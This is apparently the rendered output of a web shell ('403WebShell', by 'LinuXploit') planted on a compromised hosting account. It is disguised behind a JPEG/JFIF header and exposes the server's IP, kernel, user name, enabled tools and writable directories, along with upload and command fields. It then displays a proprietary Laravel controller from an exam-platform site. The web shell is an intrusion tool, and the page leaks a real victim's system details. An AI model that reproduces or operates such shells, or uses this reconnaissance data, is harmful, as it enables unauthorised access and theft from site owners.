����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 18.221.124.95
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/./cbt.gltechlimited.com/app/Http/Controllers/Admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/./cbt.gltechlimited.com/app/Http/Controllers/Admin/SectionCrudController.php
<?php
/**
 * File name: SectionCrudController.php
 * Last modified: 19/07/21, 12:55 AM
 * Author: NearCraft - https://codecanyon.net/user/nearcraft
 * Copyright (c) 2021
 */

namespace App\Http\Controllers\Admin;

use App\Http\Controllers\Controller;
use App\Models\Section;
use App\Transformers\Admin\SectionSearchTransformer;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Inertia\Inertia;
use App\Filters\SectionFilters;
use App\Http\Requests\Admin\StoreSectionRequest;
use App\Http\Requests\Admin\UpdateSectionRequest;
use App\Transformers\Admin\SectionTransformer;

class SectionCrudController extends Controller
{
    public function __construct()
    {
        $this->middleware(['role:admin|instructor'])->except('search');
    }

    /**
     * List all sections
     *
     * @param SectionFilters $filters
     * @return \Inertia\Response
     */
    public function index(SectionFilters $filters)
    {
        return Inertia::render('Admin/Sections', [
            'sections' => function () use($filters) {
                return fractal(Section::filter($filters)
                    ->paginate(request()->perPage != null ? request()->perPage : 10),
                    new SectionTransformer())->toArray();
            },
        ]);
    }

    /**
     * Search sections api endpoint
     *
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function search(Request $request)
    {
        $query = $request->get('query');
        return response()->json([
            'sections' => fractal(Section::select(['id', 'name'])
                ->where('name', 'like', '%'.$query.'%')->limit(20)
                ->get(), new SectionSearchTransformer())
                ->toArray()['data']
        ]);
    }

    /**
     * Store a section
     *
     * @param StoreSectionRequest $request
     * @return \Illuminate\Http\RedirectResponse
     */
    public function store(StoreSectionRequest $request)
    {
        Section::create($request->validated());
        return redirect()->back()->with('successMessage', 'Section was successfully added!');
    }

    /**
     * Show a section
     *
     * @param $id
     * @return array
     */
    public function show($id)
    {
        return fractal(Section::find($id), new SectionTransformer())->toArray();
    }

    /**
     * Edit a section
     *
     * @param $id
     * @return Section|Section[]|\Illuminate\Database\Eloquent\Collection|\Illuminate\Database\Eloquent\Model|null
     */
    public function edit($id)
    {
        return Section::find($id);
    }

    /**
     * Update a section
     *
     * @param UpdateSectionRequest $request
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    public function update(UpdateSectionRequest $request, $id)
    {
        $section = Section::find($id);
        $section->update($request->validated());
        return redirect()->back()->with('successMessage', 'Section was successfully updated!');
    }

    /**
     * Update a section
     *
     * @param $id
     * @return \Illuminate\Http\RedirectResponse
     */
    public function destroy($id)
    {
        try {
            $section = Section::withCount(['skills', 'examSections'])->find($id);

            if(!$section->canSecureDelete('skills', 'examSections')) {
                $associations = implode(", ", array_filter([
                    $section->skills_count > 0 ? "{$section->skills_count} skills" : "",
                    $section->exam_sections_count > 0 ? "{$section->exam_sections_count} exams" : ""
                ]));
                return redirect()->back()
                    ->with('errorMessage',
                        "Unable to delete section as it is associated with {$associations}. Remove all associations and try again!"
                    );
            }

            DB::transaction(function () use ($section) {
                $section->subCategories()->detach();
                $section->secureDelete('skills', 'examSections');
            });
        }
        catch (\Illuminate\Database\QueryException $e){
            return redirect()->back()->with('errorMessage', 'Unable to Delete Section . Remove all associations and Try again!');
        }
        return redirect()->back()->with('successMessage', 'Section was successfully deleted!');
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit